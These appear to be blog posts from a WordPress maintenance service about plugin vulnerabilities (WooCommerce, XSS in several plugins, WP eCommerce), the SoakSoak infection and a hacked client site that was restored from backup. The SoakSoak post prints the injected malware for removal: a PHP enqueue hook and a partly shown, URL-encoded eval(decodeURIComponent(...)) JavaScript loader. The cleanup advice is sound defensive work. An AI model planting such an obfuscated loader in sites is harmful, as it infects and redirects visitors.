Today, Sucuri announced a vulnerability in WooCommerce that has been patched in the most recent version. If you are using WooCommerce to power your WordPress e-commerce site, you need to update right away.
The vulnerability is quite serious and is related to a PayPal setting in WooCommerce. If you use PayPal as a payment gateway in WooCommerce, you are most likely vulnerable.
All wpONcall members have already been updated!
Today, Sucuri announced a major security advisory for a few widely used WordPress plugins. The warning has to do with “Cross-site Scripting (XSS)”, which is used in many popular plugins. All plugins affected by XSS should be updated immediately to patch the vulnerability. The initial list of plugins affected are:
Even Jetpack, a WordPress official plugin is vulnerable. All members of wpONcall are already updated and safe!
Over the weekend over 11,000 WordPress websites were blacklisted by Google because they were affected by the SoakSoak vulnerability. It is estimated that over 100,000 WordPress sites were compromised by the hack. Websites affected are redirecting users to the Soaksoak domain name. You will see a page similar to this if you have been infected:
It is not yet clear exactly where the vulnerability is being exploited, but it could be related to the Revolution Slider vulnerability we highlighted a few months ago. The best protection you can have is a completely updated WordPress core, updated plugins and secure backups of your site so you can fix the issue. You may also want to look into a service such as Sucuri, which can add a firewall to protect your site.
If you have been infected, you can do one of two things:
1. wp-includes/template-loader.php
Remove this block of code:
<?php
function FuncQueueObject()
{
wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts", 'FuncQueueObject');
2. wp-includes/js/swobject.js
Remove this block of code:
eval(decodeURIComponent
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));
Once removed, you will want to login to your Google Webmaster Tools and request your site to be reviewed and de-blacklisted.
If you are a wpONcall client, we would be taking care of this for you! Let us know if you have any questions.
Even with every measure in place, it is hard to completely eliminate the possibility of a site getting hacked. WordPress, in particular, is targeted more than other websites because of its wide use.
A wpONcall client (we will keep them anonymous) was up to date on all updates and everything was running normally the previous day. The next morning we awoke to a site that was completely hacked, left with this landing page:
The hackers gained entry to the file system and completely removed the entire WordPress install, including theme files and all uploads. We were left with a one-file web page, which contained the hackers message.
I will give the hacker some credit that their page was creatively constructed. All styling and media elements were part of his/her index page so that it was not reliant on any external files. The hacked page contained everything from a Facebook like button to an embedded audio file playing the song, “We Own It” by 2 Chainz & Wiz Khalifa. It was a pretty scary page, to say the least.
Every measure has been taken to keep the site from being hacked, including proactively updating plugins and WordPress as soon as updates became available. Even with this proactive maintenance, the hacker found a way into the file system of the hosting account. It is hard to say for sure, but the site could have been compromised through the hosting company or through a theme vulnerability (the site was built from a custom theme).
Because we make weekly backups of all websites, we were quick to respond. The first step was to remove the malicious page and put up a temporary blank page. We retrieved our backup taken a few days previous from our cloud service. After uploading the un-affected site, we needed to clear the site cache and reset permalinks to get everything working again. The last step was resetting all administrator passwords to ensure it was not a password breach to the site.
We typically do not see sites re-infected right after restoration, but we cannot be too careful. wpONcall will keep a close eye on the site and make sure there is no new malware or compromises to the website.
Always, always make a backup of your site. The hacker deleted everything from the server. There was no fix for this except restoring the site from a recent backup.
Has your site ever been hacked? Did you know what to do to get things back to where they should be?
WP eCommerce used to be the most popular WordPress ecommerce plugin to power an online store through WordPress. That was until WooCommerce came along and took most of the market share. I do not see any reason to stay on WP eCommerce as WooCommerce has far more extensions and support. This latest security threat may be the last straw for many people using WP eCommerce.
A vulnerability was found in the plugin that allows a bad person (hacker) to easily access and change private information. This vulnerability can expose confidential information about your past customers and also allow the attacker to potentially purchase an item on your site without paying. Some pretty big issues!
You have two choice to easily fix this vulnerability:
If you are running WP eCommerce, update right away!